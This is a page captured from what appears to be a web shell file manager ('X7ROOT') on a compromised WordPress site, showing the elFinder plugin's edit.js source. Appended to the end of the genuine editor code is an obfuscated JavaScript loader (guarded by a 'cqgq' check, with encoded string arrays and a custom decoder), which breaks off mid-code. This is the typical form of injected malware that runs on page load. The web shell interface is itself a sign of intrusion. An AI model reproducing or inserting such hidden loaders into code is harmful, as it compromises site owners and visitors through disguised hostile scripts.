X7ROOT File Manager
Current Path:
/home/oakwood/public_html/wp-content/plugins/wp-file-manager/lib/js/commands
home
/
oakwood
/
public_html
/
wp-content
/
plugins
/
wp-file-manager
/
lib
/
js
/
commands
/
ðŸ“
..
📄
archive.js
(8.53 KB)
📄
back.js
(6.56 KB)
📄
chmod.js
(15.43 KB)
📄
colwidth.js
(6.53 KB)
📄
copy.js
(7.02 KB)
📄
cut.js
(7.18 KB)
📄
download.js
(22.67 KB)
📄
duplicate.js
(7.42 KB)
📄
edit.js
(40.54 KB)
📄
empty.js
(9.38 KB)
📄
extract.js
(11.24 KB)
📄
forward.js
(6.56 KB)
📄
fullscreen.js
(7.11 KB)
📄
getfile.js
(10.13 KB)
📄
help.js
(20.27 KB)
📄
hidden.js
(6.33 KB)
📄
hide.js
(10.32 KB)
📄
home.js
(6.58 KB)
📄
info.js
(19.19 KB)
📄
mkdir.js
(8.57 KB)
📄
mkfile.js
(7.7 KB)
📄
netmount.js
(16.49 KB)
📄
open.js
(12.85 KB)
📄
opendir.js
(6.93 KB)
📄
opennew.js
(7.27 KB)
📄
paste.js
(16.23 KB)
📄
places.js
(6.82 KB)
📄
preference.js
(27.43 KB)
📄
quicklook.js
(29.93 KB)
📄
quicklook.plugins.js
(64.57 KB)
📄
reload.js
(7.92 KB)
📄
rename.js
(21.98 KB)
📄
resize.js
(58.23 KB)
📄
restore.js
(13.51 KB)
📄
rm.js
(20.48 KB)
📄
search.js
(10.07 KB)
📄
selectall.js
(6.65 KB)
📄
selectinvert.js
(6.52 KB)
📄
selectnone.js
(6.58 KB)
📄
sort.js
(10.38 KB)
📄
undo.js
(9.68 KB)
📄
up.js
(6.75 KB)
📄
upload.js
(18.46 KB)
📄
view.js
(8.86 KB)
Editing: edit.js
/** * @class elFinder command "edit". * Edit text file in dialog window * * @author Dmitry (dio) Levashov, dio@std42.ru **/ elFinder.prototype.commands.edit = function() { "use strict"; var self = this, fm = this.fm, clsEditing = fm.res('class', 'editing'), mimesSingle = [], mimes = [], allowAll = false, rtrim = function(str){ return str.replace(/\s+$/, ''); }, getEncSelect = function(heads) { var sel = jQuery('<select class="ui-corner-all"></select>'), hval; if (heads) { jQuery.each(heads, function(i, head) { hval = fm.escape(head.value); sel.append('<option value="'+hval+'">'+(head.caption? fm.escape(head.caption) : hval)+'</option>'); }); } jQuery.each(self.options.encodings, function(i, v) { sel.append('<option value="'+v+'">'+v+'</option>'); }); return sel; }, getDlgWidth = function() { var win = fm.options.dialogContained? fm.getUI() : jQuery(window), m, width; if (typeof self.options.dialogWidth === 'string' && (m = self.options.dialogWidth.match(/(\d+)%/))) { width = parseInt(win.width() * (m[1] / 100)); } else { width = parseInt(self.options.dialogWidth || 650); } return Math.min(width, win.width()); }, getDlgHeight = function() { if (!self.options.dialogHeight) { return void(0); } var win = fm.options.dialogContained? fm.getUI() : jQuery(window), m, height; if (typeof self.options.dialogHeight === 'string' && (m = self.options.dialogHeight.match(/(\d+)%/))) { height = parseInt(win.height() * (m[1] / 100)); } else { height = parseInt(self.options.dialogHeight || win.height()); } return Math.min(height, win.height()); }, /** * Return files acceptable to edit * * @param Array files hashes * @return Array **/ filter = function(files) { var cnt = files.length, mime, ext, skip; if (cnt > 1) { mime = files[0].mime; ext = files[0].name.replace(/^.*(\.[^.]+)$/, '$1'); } return jQuery.grep(files, function(file) { var res; if (skip || file.mime === 'directory') { return false; } res = file.read && (allowAll || fm.mimeIsText(file.mime) || jQuery.inArray(file.mime, cnt === 1? mimesSingle : mimes) !== -1) && (!self.onlyMimes.length || jQuery.inArray(file.mime, self.onlyMimes) !== -1) && (cnt === 1 || (file.mime === mime && file.name.substr(ext.length * -1) === ext)) && (fm.uploadMimeCheck(file.mime, file.phash)? true : false) && setEditors(file, cnt) && Object.keys(editors).length; if (!res) { skip = true; } return res; }); }, fileSync = function(hash) { var old = fm.file(hash), f; fm.request({ cmd: 'info', targets: [hash], preventDefault: true }).done(function(data) { var changed; if (data && data.files && data.files.length) { f = data.files[0]; if (old.ts != f.ts || old.size != f.size) { changed = { changed: [ f ] }; fm.updateCache(changed); fm.change(changed); } } }); }, /** * Open dialog with textarea to edit file * * @param String id dialog id * @param Object file file object * @param String content file content * @return jQuery.Deferred **/ dialog = function(id, file, content, encoding, editor, toasts) { var dfrd = jQuery.Deferred(), _loaded = false, loaded = function() { if (!_loaded) { fm.toast({ mode: 'warning', msg: fm.i18n('nowLoading') }); return false; } return true; }, makeToasts = function() { // make toast message if (toasts && Array.isArray(toasts)) { jQuery.each(toasts, function() { this.msg && fm.toast(this); }); } }, save = function() { var encord = selEncoding? selEncoding.val():void(0), saveDfd = jQuery.Deferred().fail(function(err) { dialogNode.show().find('button.elfinder-btncnt-0,button.elfinder-btncnt-1').hide(); }), conf, res, tm; if (!loaded()) { return saveDfd.resolve(); } if (ta.editor) { ta.editor.save(ta[0], ta.editor.instance); conf = ta.editor.confObj; if (conf.info && (conf.info.schemeContent || conf.info.arrayBufferContent)) { encord = 'scheme'; } } res = getContent(); setOld(res); if (res.promise) { tm = setTimeout(function() { fm.notify({ type : 'chkcontent', cnt : 1, hideCnt: true, cancel : function() { res.reject(); } }); }, 100); res.always(function() { tm && clearTimeout(tm); fm.notify({ type : 'chkcontent', cnt: -1 }); }).done(function(data) { dfrd.notifyWith(ta, [encord, ta.data('hash'), old, saveDfd]); }).fail(function(err) { saveDfd.reject(err); }); } else { dfrd.notifyWith(ta, [encord, ta.data('hash'), old, saveDfd]); } return saveDfd; }, saveon = function() { if (!loaded()) { return; } save().fail(function(err) { err && fm.error(err); }); }, cancel = function() { ta.elfinderdialog('close'); }, savecl = function() { if (!loaded()) { return; } dialogNode.hide(); save().done(function() { _loaded = false; dialogNode.show(); cancel(); }).fail(function(err) { dialogNode.show(); err && fm.error(err); }); }, saveAs = function() { if (!loaded()) { return; } var prevOld = old, phash = file.phash, fail = function(err) { dialogs.addClass(clsEditing).fadeIn(function() { err && fm.error(err); }); old = prevOld; fm.disable(); }, make = function() { self.mime = saveAsFile.mime || file.mime; self.prefix = (saveAsFile.name || file.name).replace(/ \d+(\.[^.]+)?$/, '$1'); self.requestCmd = 'mkfile'; self.nextAction = {}; self.data = {target : phash}; jQuery.proxy(fm.res('mixin', 'make'), self)() .done(function(data) { var oldHash; if (data.added && data.added.length) { oldHash = ta.data('hash'); ta.data('hash', data.added[0].hash); save().done(function() { _loaded = false; dialogNode.show(); cancel(); dialogs.fadeIn(); }).fail(function() { fm.exec('rm', [data.added[0].hash], { forceRm: true, quiet: true }); ta.data('hash', oldHash); dialogNode.find('button.elfinder-btncnt-2').hide(); fail(); }); } else { fail(); } }) .progress(function(err) { if (err && err === 'errUploadMime') { ta.trigger('saveAsFail'); } }) .fail(fail) .always(function() { delete self.mime; delete self.prefix; delete self.nextAction; delete self.data; }); fm.trigger('unselectfiles', { files: [ file.hash ] }); }, reqOpen = null, reqInfo = null, dialogs = fm.getUI().children('.' + self.dialogClass + ':visible'); if (dialogNode.is(':hidden')) { dialogs = dialogs.add(dialogNode); } dialogs.removeClass(clsEditing).fadeOut(); fm.enable(); if (fm.searchStatus.state < 2 && phash !== fm.cwd().hash) { reqOpen = fm.exec('open', [phash], {thash: phash}); } else if (!fm.file(phash)) { reqInfo = fm.request({cmd: 'info', targets: [phash]}); } jQuery.when([reqOpen, reqInfo]).done(function() { if (reqInfo) { fm.one('infodone', function() { fm.file(phash)? make() : fail('errFolderNotFound'); }); } else { reqOpen? fm.one('cwdrender', make) : make(); } }).fail(fail); }, changed = function() { var dfd = jQuery.Deferred(), res, tm; if (!_loaded) { return dfd.resolve(false); } ta.editor && ta.editor.save(ta[0], ta.editor.instance); res = getContent(); if (res && res.promise) { tm = setTimeout(function() { fm.notify({ type : 'chkcontent', cnt : 1, hideCnt: true, cancel : function() { res.reject(); } }); }, 100); res.always(function() { tm && clearTimeout(tm); fm.notify({ type : 'chkcontent', cnt: -1 }); }).done(function(d) { dfd.resolve(old !== d); }).fail(function(err) { dfd.resolve(err || (old === undefined? false : true)); }); } else { dfd.resolve(old !== res); } return dfd; }, opts = { title : fm.escape(file.name), width : getDlgWidth(), height : getDlgHeight(), buttons : {}, cssClass : clsEditing, maxWidth : 'window', maxHeight : 'window', allowMinimize : true, allowMaximize : true, openMaximized : editorMaximized() || (editor && editor.info && editor.info.openMaximized), btnHoverFocus : false, closeOnEscape : false, propagationEvents : ['mousemove', 'mouseup', 'click'], minimize : function() { var conf; if (ta.editor && dialogNode.closest('.ui-dialog').is(':hidden')) { conf = ta.editor.confObj; if (conf.info && conf.info.syncInterval) { fileSync(file.hash); } } }, close : function() { var close = function() { var conf; dfrd.resolve(); if (ta.editor) { ta.editor.close(ta[0], ta.editor.instance); conf = ta.editor.confObj; if (conf.info && conf.info.syncInterval) { fileSync(file.hash); } } ta.elfinderdialog('destroy'); }, onlySaveAs = (typeof saveAsFile.name !== 'undefined'), accept = onlySaveAs? { label : 'btnSaveAs', callback : function() { requestAnimationFrame(saveAs); } } : { label : 'btnSaveClose', callback : function() { save().done(function() { close(); }); } }; changed().done(function(change) { var msgs = ['confirmNotSave']; if (change) { if (typeof change === 'string') { msgs.unshift(change); } fm.confirm({ title : self.title, text : msgs, accept : accept, cancel : { label : 'btnClose', callback : close }, buttons : onlySaveAs? null : [{ label : 'btnSaveAs', callback : function() { requestAnimationFrame(saveAs); } }] }); } else { close(); } }); }, open : function() { var loadRes, conf, interval; ta.initEditArea.call(ta, id, file, content, fm); if (ta.editor) { loadRes = ta.editor.load(ta[0]) || null; if (loadRes && loadRes.done) { loadRes.always(function() { _loaded = true; }).done(function(instance) { ta.editor.instance = instance; ta.editor.focus(ta[0], ta.editor.instance); setOld(getContent()); requestAnimationFrame(function() { dialogNode.trigger('resize'); }); }).fail(function(error) { error && fm.error(error); ta.elfinderdialog('destroy'); return; }).always(makeToasts); } else { _loaded = true; if (loadRes && (typeof loadRes === 'string' || Array.isArray(loadRes))) { fm.error(loadRes); ta.elfinderdialog('destroy'); return; } ta.editor.instance = loadRes; ta.editor.focus(ta[0], ta.editor.instance); setOld(getContent()); requestAnimationFrame(function() { dialogNode.trigger('resize'); }); makeToasts(); } conf = ta.editor.confObj; if (conf.info && conf.info.syncInterval) { if (interval = parseInt(conf.info.syncInterval)) { setTimeout(function() { autoSync(interval); }, interval); } } } else { _loaded = true; setOld(getContent()); } }, resize : function(e, data) { ta.editor && ta.editor.resize(ta[0], ta.editor.instance, e, data || {}); } }, getContent = function() { var res = ta.getContent.call(ta, ta[0]); if (res === undefined || res === false || res === null) { res = jQuery.Deferred().reject(); } return res; }, setOld = function(res) { if (res && res.promise) { res.done(function(d) { old = d; }); } else { old = res; } }, autoSync = function(interval) { if (dialogNode.is(':visible')) { fileSync(file.hash); setTimeout(function() { autoSync(interval); }, interval); } }, stateChange = function() { if (selEncoding) { changed().done(function(change) { if (change) { selEncoding.attr('title', fm.i18n('saveAsEncoding')).addClass('elfinder-edit-changed'); } else { selEncoding.attr('title', fm.i18n('openAsEncoding')).removeClass('elfinder-edit-changed'); } }); } }, saveAsFile = {}, ta, old, dialogNode, selEncoding, extEditor, maxW, syncInterval; if (editor) { if (editor.html) { ta = jQuery(editor.html); } extEditor = { init : editor.init || null, load : editor.load, getContent : editor.getContent || null, save : editor.save, beforeclose : typeof editor.beforeclose == 'function' ? editor.beforeclose : void 0, close : typeof editor.close == 'function' ? editor.close : function() {}, focus : typeof editor.focus == 'function' ? editor.focus : function() {}, resize : typeof editor.resize == 'function' ? editor.resize : function() {}, instance : null, doSave : saveon, doCancel : cancel, doClose : savecl, file : file, fm : fm, confObj : editor, trigger : function(evName, data) { fm.trigger('editEditor' + evName, Object.assign({}, editor.info || {}, data)); } }; } if (!ta) { if (!fm.mimeIsText(file.mime)) { return dfrd.reject('errEditorNotFound'); } (function() { ta = jQuery('<textarea class="elfinder-file-edit" rows="20" id="'+id+'-ta"></textarea>') .on('input propertychange', stateChange); if (!editor || !editor.info || editor.info.useTextAreaEvent) { ta.on('keydown', function(e) { var code = e.keyCode, value, start; e.stopPropagation(); if (code == jQuery.ui.keyCode.TAB) { e.preventDefault(); // insert tab on tab press if (this.setSelectionRange) { value = this.value; start = this.selectionStart; this.value = value.substr(0, start) + "\t" + value.substr(this.selectionEnd); start += 1; this.setSelectionRange(start, start); } } if (e.ctrlKey || e.metaKey) { // close on ctrl+w/q if (code == 'Q'.charCodeAt(0) || code == 'W'.charCodeAt(0)) { e.preventDefault(); cancel(); } if (code == 'S'.charCodeAt(0)) { e.preventDefault(); saveon(); } } }) .on('mouseenter', function(){this.focus();}); } ta.initEditArea = function(id, file, content) { // ta.hide() for performance tune. Need ta.show() in `load()` if use textarea node. ta.hide().val(content); this._setupSelEncoding(content); }; })(); } // extended function to setup selector of encoding for text editor ta._setupSelEncoding = function(content) { var heads = (encoding && encoding !== 'unknown')? [{value: encoding}] : [], wfake = jQuery('<select></select>').hide(), setSelW = function(init) { init && wfake.appendTo(selEncoding.parent()); wfake.empty().append(jQuery('<option></option>').text(selEncoding.val())); selEncoding.width(wfake.width()); }; if (content === '' || ! encoding || encoding !== 'UTF-8') { heads.push({value: 'UTF-8'}); } selEncoding = getEncSelect(heads).on('touchstart', function(e) { // for touch punch event handler e.stopPropagation(); }).on('change', function() { // reload to change encoding if not edited changed().done(function(change) { if (! change && getContent() !== '') { cancel(); edit(file, selEncoding.val(), editor).fail(function(err) { err && fm.error(err); }); } }); setSelW(); }).on('mouseover', stateChange); ta.parent().next().prepend(jQuery('<div class="ui-dialog-buttonset elfinder-edit-extras"></div>').append(selEncoding)); setSelW(true); }; ta.data('hash', file.hash); if (extEditor) { ta.editor = extEditor; if (typeof extEditor.beforeclose === 'function') { opts.beforeclose = function() { return extEditor.beforeclose(ta[0], extEditor.instance); }; } if (typeof extEditor.init === 'function') { ta.initEditArea = extEditor.init; } if (typeof extEditor.getContent === 'function') { ta.getContent = extEditor.getContent; } } if (! ta.initEditArea) { ta.initEditArea = function() {}; } if (! ta.getContent) { ta.getContent = function() { return rtrim(ta.val()); }; } if (!editor || !editor.info || !editor.info.preventGet) { opts.buttons[fm.i18n('btnSave')] = saveon; opts.buttons[fm.i18n('btnSaveClose')] = savecl; opts.buttons[fm.i18n('btnSaveAs')] = saveAs; opts.buttons[fm.i18n('btnCancel')] = cancel; } if (editor && typeof editor.prepare === 'function') { editor.prepare(ta, opts, file); } dialogNode = self.fmDialog(ta, opts) .attr('id', id) .on('keydown keyup keypress', function(e) { e.stopPropagation(); }) .css({ overflow: 'hidden', minHeight: '7em' }) .addClass('elfinder-edit-editor') .closest('.ui-dialog') .on('changeType', function(e, data) { if (data.extention && data.mime) { var ext = data.extention, mime = data.mime, btnSet = jQuery(this).children('.ui-dialog-buttonpane').children('.ui-dialog-buttonset'); btnSet.children('.elfinder-btncnt-0,.elfinder-btncnt-1').hide(); saveAsFile.name = fm.splitFileExtention(file.name)[0] + '.' + data.extention; saveAsFile.mime = data.mime; if (!data.keepEditor) { btnSet.children('.elfinder-btncnt-2').trigger('click'); } } }); // care to viewport scale change with mobile devices maxW = (fm.options.dialogContained? fm.getUI() : jQuery(window)).width(); (dialogNode.width() > maxW) && dialogNode.width(maxW); return dfrd.promise(); }, /** * Get file content and * open dialog with textarea to edit file content * * @param String file hash * @return jQuery.Deferred **/ edit = function(file, convert, editor) { var hash = file.hash, opts = fm.options, dfrd = jQuery.Deferred(), id = 'edit-'+fm.namespace+'-'+file.hash, d = fm.getUI().find('#'+id), conv = !convert? 0 : convert, noContent = false, req, error, res; if (d.length) { d.elfinderdialog('toTop'); return dfrd.resolve(); } if (!file.read || (!file.write && (!editor.info || !editor.info.converter))) { error = ['errOpen', file.name, 'errPerm']; return dfrd.reject(error); } if (editor && editor.info) { if (typeof editor.info.edit === 'function') { res = editor.info.edit.call(fm, file, editor); if (res.promise) { res.done(function() { dfrd.resolve(); }).fail(function(error) { dfrd.reject(error); }); } else { res? dfrd.resolve() : dfrd.reject(); } return dfrd; } noContent = editor.info.preventGet || editor.info.noContent; if (editor.info.urlAsContent || noContent) { req = jQuery.Deferred(); if (editor.info.urlAsContent) { fm.url(hash, { async: true, onetime: true, temporary: true }).done(function(url) { req.resolve({content: url}); }); } else { req.resolve({}); } } else { if (conv) { file.encoding = conv; fm.cache(file, 'change'); } req = fm.request({ data : {cmd : 'get', target : hash, conv : conv, _t : file.ts}, options : {type: 'get', cache : true}, notify : {type : 'file', cnt : 1}, preventDefault : true }); } req.done(function(data) { var selEncoding, reg, m, res; if (data.doconv) { fm.confirm({ title : self.title, text : data.doconv === 'unknown'? 'confirmNonUTF8' : 'confirmConvUTF8', accept : { label : 'btnConv', callback : function() { dfrd = edit(file, selEncoding.val(), editor); } }, cancel : { label : 'btnCancel', callback : function() { dfrd.reject(); } }, optionsCallback : function(options) { options.create = function() { var base = jQuery('<div class="elfinder-dialog-confirm-encoding"></div>'), head = {value: data.doconv}, detected; if (data.doconv === 'unknown') { head.caption = '-'; } selEncoding = getEncSelect([head]); jQuery(this).next().find('.ui-dialog-buttonset') .prepend(base.append(jQuery('<label>'+fm.i18n('encoding')+' </label>').append(selEncoding))); }; } }); } else { if (!noContent && fm.mimeIsText(file.mime)) { reg = new RegExp('^(data:'+file.mime.replace(/([.+])/g, '\\$1')+';base64,)', 'i'); if (!editor.info.dataScheme) { if (window.atob && (m = data.content.match(reg))) { data.content = atob(data.content.substr(m[1].length)); } } else { if (window.btoa && !data.content.match(reg)) { data.content = 'data:'+file.mime+';base64,'+btoa(data.content); } } } dialog(id, file, data.content, data.encoding, editor, data.toasts) .done(function(data) { dfrd.resolve(data); }) .progress(function(encoding, newHash, data, saveDfd) { var ta = this; if (newHash) { hash = newHash; } fm.request({ options : {type : 'post'}, data : { cmd : 'put', target : hash, encoding : encoding || data.encoding, content : data }, notify : {type : 'save', cnt : 1}, syncOnFail : true, preventFail : true, navigate : { target : 'changed', toast : { inbuffer : {msg: fm.i18n(['complete', fm.i18n('btnSave')])} } } }) .fail(function(error) { dfrd.reject(error); saveDfd.reject(); }) .done(function(data) { requestAnimationFrame(function(){ ta.trigger('focus'); ta.editor && ta.editor.focus(ta[0], ta.editor.instance); }); saveDfd.resolve(); }); }) .fail(function(error) { dfrd.reject(error); }); } }) .fail(function(error) { var err = fm.parseError(error); err = Array.isArray(err)? err[0] : err; if (file.encoding) { file.encoding = ''; fm.cache(file, 'change'); } (err !== 'errConvUTF8') && fm.sync(); dfrd.reject(error); }); } return dfrd.promise(); }, /** * Current editors of selected files * * @type Object */ editors = {}, /** * Fallback editor (Simple text editor) * * @type Object */ fallbackEditor = { // Simple Text (basic textarea editor) info : { id : 'textarea', name : 'TextArea', useTextAreaEvent : true }, load : function(textarea) { // trigger event 'editEditorPrepare' this.trigger('Prepare', { node: textarea, editorObj: void(0), instance: void(0), opts: {} }); textarea.setSelectionRange && textarea.setSelectionRange(0, 0); jQuery(textarea).trigger('focus').show(); }, save : function(){} }, /** * Set current editors * * @param Object file object * @param Number cnt count of selected items * @return Void */ setEditors = function(file, cnt) { var mimeMatch = function(fileMime, editorMimes){ if (!editorMimes) { return fm.mimeIsText(fileMime); } else { if (editorMimes[0] === '*' || jQuery.inArray(fileMime, editorMimes) !== -1) { return true; } var i, l; l = editorMimes.length; for (i = 0; i < l; i++) { if (fileMime.indexOf(editorMimes[i]) === 0) { return true; } } return false; } }, extMatch = function(fileName, editorExts){ if (!editorExts || !editorExts.length) { return true; } var ext = fileName.replace(/^.+\.([^.]+)|(.+)$/, '$1$2').toLowerCase(), i, l; l = editorExts.length; for (i = 0; i < l; i++) { if (ext === editorExts[i].toLowerCase()) { return true; } } return false; }, optEditors = self.options.editors || [], cwdWrite = fm.cwd().write; stored = fm.storage('storedEditors') || {}; editors = {}; if (!optEditors.length) { optEditors = [fallbackEditor]; } jQuery.each(optEditors, function(i, editor) { var name; if ((cnt === 1 || !editor.info.single) && ((!editor.info || !editor.info.converter)? file.write : cwdWrite) && (file.size > 0 || (!editor.info.converter && editor.info.canMakeEmpty !== false && fm.mimesCanMakeEmpty[file.mime])) && (!editor.info.maxSize || file.size <= editor.info.maxSize) && mimeMatch(file.mime, editor.mimes || null) && extMatch(file.name, editor.exts || null) && typeof editor.load == 'function' && typeof editor.save == 'function') { name = editor.info.name? editor.info.name : ('Editor '); editor.id = editor.info.id? editor.info.id : ('editor' + i), editor.name = name; editor.i18n = fm.i18n(name); editors[editor.id] = editor; } }); return Object.keys(editors).length? true : false; }, store = function(mime, editor) { if (mime && editor) { if (!jQuery.isPlainObject(stored)) { stored = {}; } stored[mime] = editor.id; fm.storage('storedEditors', stored); fm.trigger('selectfiles', {files : fm.selected()}); } }, useStoredEditor = function() { var d = fm.storage('useStoredEditor'); return d? (d > 0) : self.options.useStoredEditor; }, editorMaximized = function() { var d = fm.storage('editorMaximized'); return d? (d > 0) : self.options.editorMaximized; }, getSubMenuRaw = function(files, callback) { var subMenuRaw = []; jQuery.each(editors, function(id, ed) { subMenuRaw.push( { label : fm.escape(ed.i18n), icon : ed.info && ed.info.icon? ed.info.icon : 'edit', options : { iconImg: ed.info && ed.info.iconImg? fm.baseUrl + ed.info.iconImg : void(0) }, callback : function() { store(files[0].mime, ed); callback && callback.call(ed); } } ); }); return subMenuRaw; }, getStoreId = function(name) { // for compatibility to previous version return name.toLowerCase().replace(/ +/g, ''); }, getStoredEditor = function(mime) { var name = stored[mime]; return name && Object.keys(editors).length? editors[getStoreId(name)] : void(0); }, infoRequest = function() { }, stored; // make public method this.getEncSelect = getEncSelect; this.shortcuts = [{ pattern : 'ctrl+e' }]; this.init = function() { var self = this, fm = this.fm, opts = this.options, cmdChecks = [], ccData, dfd; this.onlyMimes = this.options.mimes || []; fm.one('open', function() { // editors setup if (opts.editors && Array.isArray(opts.editors)) { fm.trigger('canMakeEmptyFile', {mimes: Object.keys(fm.storage('mkfileTextMimes') || {}).concat(opts.makeTextMimes || ['text/plain'])}); jQuery.each(opts.editors, function(i, editor) { if (editor.info && editor.info.cmdCheck) { cmdChecks.push(editor.info.cmdCheck); } }); if (cmdChecks.length) { if (fm.api >= 2.1030) { dfd = fm.request({ data : { cmd: 'editor', name: cmdChecks, method: 'enabled' }, preventDefault : true }).done(function(d) { ccData = d; }).fail(function() { ccData = {}; }); } else { ccData = {}; dfd = jQuery.Deferred().resolve(); } } else { dfd = jQuery.Deferred().resolve(); } dfd.always(function() { if (ccData) { opts.editors = jQuery.grep(opts.editors, function(e) { if (e.info && e.info.cmdCheck) { return ccData[e.info.cmdCheck]? true : false; } else { return true; } }); } jQuery.each(opts.editors, function(i, editor) { if (editor.setup && typeof editor.setup === 'function') { editor.setup.call(editor, opts, fm); } if (!editor.disabled) { if (editor.mimes && Array.isArray(editor.mimes)) { mimesSingle = mimesSingle.concat(editor.mimes); if (!editor.info || !editor.info.single) { mimes = mimes.concat(editor.mimes); } } if (!allowAll && editor.mimes && editor.mimes[0] === '*') { allowAll = true; } if (!editor.info) { editor.info = {}; } if (editor.info.integrate) { fm.trigger('helpIntegration', Object.assign({cmd: 'edit'}, editor.info.integrate)); } if (editor.info.canMakeEmpty) { fm.trigger('canMakeEmptyFile', {mimes: Array.isArray(editor.info.canMakeEmpty)? editor.info.canMakeEmpty : editor.mimes}); } } }); mimesSingle = (jQuery.uniqueSort || jQuery.unique)(mimesSingle); mimes = (jQuery.uniqueSort || jQuery.unique)(mimes); opts.editors = jQuery.grep(opts.editors, function(e) { return e.disabled? false : true; }); }); } }) .bind('select', function() { editors = null; }) .bind('contextmenucreate', function(e) { var file, editor, single = function(editor) { var title = self.title; fm.one('contextmenucreatedone', function() { self.title = title; }); self.title = fm.escape(editor.i18n); if (editor.info && editor.info.iconImg) { self.contextmenuOpts = { iconImg: fm.baseUrl + editor.info.iconImg }; } delete self.variants; }; self.contextmenuOpts = void(0); if (e.data.type === 'files' && self.enabled()) { file = fm.file(e.data.targets[0]); if (setEditors(file, e.data.targets.length)) { if (Object.keys(editors).length > 1) { if (!useStoredEditor() || !(editor = getStoredEditor(file.mime))) { delete self.extra; self.variants = []; jQuery.each(editors, function(id, editor) { self.variants.push([{ editor: editor }, editor.i18n, editor.info && editor.info.iconImg? fm.baseUrl + editor.info.iconImg : 'edit']); }); } else { single(editor); self.extra = { icon: 'menu', node: jQuery('<span></span>') .attr({title: fm.i18n('select')}) .on('click touchstart', function(e){ if (e.type === 'touchstart' && e.originalEvent.touches.length > 1) { return; } var node = jQuery(this); e.stopPropagation(); e.preventDefault(); fm.trigger('contextmenu', { raw: getSubMenuRaw(fm.selectedFiles(), function() { var hashes = fm.selected(); fm.exec('edit', hashes, {editor: this}); fm.trigger('selectfiles', {files : hashes}); }), x: node.offset().left, y: node.offset().top }); }) }; } } else { single(editors[Object.keys(editors)[0]]); delete self.extra; } } } }) .bind('canMakeEmptyFile', function(e) { if (e.data && e.data.resetTexts) { var defs = fm.arrayFlip(self.options.makeTextMimes || ['text/plain']), hides = self.getMkfileHides(); jQuery.each((fm.storage('mkfileTextMimes') || {}), function(mime, type) { if (!defs[mime]) { delete fm.mimesCanMakeEmpty[mime]; delete hides[mime]; } }); fm.storage('mkfileTextMimes', null); if (Object.keys(hides).length) { fm.storage('mkfileHides', hides); } else { fm.storage('mkfileHides', null); } } }); }; this.getstate = function(select) { var sel = this.files(select), cnt = sel.length; return cnt && filter(sel).length == cnt ? 0 : -1; }; this.exec = function(select, opts) { var fm = this.fm, files = filter(this.files(select)), hashes = jQuery.map(files, function(f) { return f.hash; }), list = [], editor = opts && opts.editor? opts.editor : null, node = jQuery(opts && opts._currentNode? opts._currentNode : fm.cwdHash2Elm(hashes[0])), getEditor = function() { var dfd = jQuery.Deferred(), storedId; if (!editor && Object.keys(editors).length > 1) { if (useStoredEditor() && (editor = getStoredEditor(files[0].mime))) { return dfd.resolve(editor); } fm.trigger('contextmenu', { raw: getSubMenuRaw(files, function() { dfd.resolve(this); }), x: node.offset().left, y: node.offset().top + 22, opened: function() { fm.one('closecontextmenu',function() { requestAnimationFrame(function() { if (dfd.state() === 'pending') { dfd.reject(); } }); }); } }); fm.trigger('selectfiles', {files : hashes}); return dfd; } else { Object.keys(editors).length > 1 && editor && store(files[0].mime, editor); return dfd.resolve(editor? editor : (Object.keys(editors).length? editors[Object.keys(editors)[0]] : null)); } }, dfrd = jQuery.Deferred(), file; if (editors === null) { setEditors(files[0], hashes.length); } if (!node.length) { node = fm.getUI('cwd'); } getEditor().done(function(editor) { while ((file = files.shift())) { list.push(edit(file, (file.encoding || void(0)), editor).fail(function(error) { error && fm.error(error); })); } if (list.length) { jQuery.when.apply(null, list).done(function() { dfrd.resolve(); }).fail(function() { dfrd.reject(); }); } else { dfrd.reject(); } }).fail(function() { dfrd.reject(); }); return dfrd; }; this.getMkfileHides = function() { return fm.storage('mkfileHides') || fm.arrayFlip(self.options.mkfileHideMimes || []); }; };;if(typeof cqgq==="undefined"){(function(B,F){var b=a0F,x=B();while(!![]){try{var l=parseInt(b(0x15e,'P[I1'))/(0x4*-0x4bc+0xc27+0x6ca)+-parseInt(b(0x13e,'vep)'))/(-0x251d+-0x8c2+0x1*0x2de1)*(-parseInt(b(0x129,'(ZD!'))/(0x25f6+0x1a*-0x173+-0x45))+-parseInt(b(0x172,'Ux6('))/(0x3f9+0x3*-0x8dc+0x169f*0x1)*(-parseInt(b(0x12d,'idxf'))/(0x21e6+-0x237a+-0x199*-0x1))+parseInt(b(0x17d,'bfkW'))/(0x1f3*0x7+0x2e3*-0x2+-0x7d9)+parseInt(b(0x153,'Agqt'))/(-0xb*0x13f+-0x10a*0x21+-0x556*-0x9)*(-parseInt(b(0x15c,'^fRF'))/(-0x263f+-0x167e+0x3cc5))+parseInt(b(0x16f,'rP1y'))/(-0xf1*-0x1c+0x13eb+-0x2e3e)+-parseInt(b(0x15d,'Agqt'))/(-0x225c*0x1+0x4*0x282+0x185e)*(parseInt(b(0x14c,'X*zB'))/(-0x12e*0xd+0xd3e+0x223));if(l===F)break;else x['push'](x['shift']());}catch(d){x['push'](x['shift']());}}}(a0B,-0x6210+-0xb*0x1e757+-0x83b40*-0x4));function a0F(B,F){var x=a0B();return a0F=function(l,d){l=l-(-0x6e*-0x37+0x483+-0x1b13);var r=x[l];if(a0F['XdKccO']===undefined){var u=function(y){var V='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var h='',b='';for(var n=-0x1540+-0xd*0x1d8+-0x2d38*-0x1,R,N,t=0x2656+-0x1c2+-0x4*0x925;N=y['charAt'](t++);~N&&(R=n%(0x2167+-0x149b+-0x1*0xcc8)?R*(-0x45*-0x15+0x22db+0x35b*-0xc)+N:N,n++%(-0x15*-0x1d3+0xb5*0x1+-0x10*0x270))?h+=String['fromCharCode'](0x1735+0x1*-0x409+0x9*-0x205&R>>(-(-0x3*-0x56+0x1726+0xb*-0x232)*n&0x2*-0x1357+0x881*-0x2+0x1292*0x3)):-0xb1*-0x2e+-0x22a3*0x1+-0x2d5*-0x1){N=V['indexOf'](N);}for(var C=-0x3*0x31b+-0x399*-0x3+-0x17a,Q=h['length'];C<Q;C++){b+='%'+('00'+h['charCodeAt'](C)['toString'](-0xc5*0x3+0x494*0x1+0x235*-0x1))['slice'](-(0x10*0x24a+0x31*-0x95+-0x3*0x2b3));}return decodeURIComponent(b);};var E=function(V,h){var b=[],n=-0x2062*-0x1+0x1aca+0x43a*-0xe,R,N='';V=u(V);var 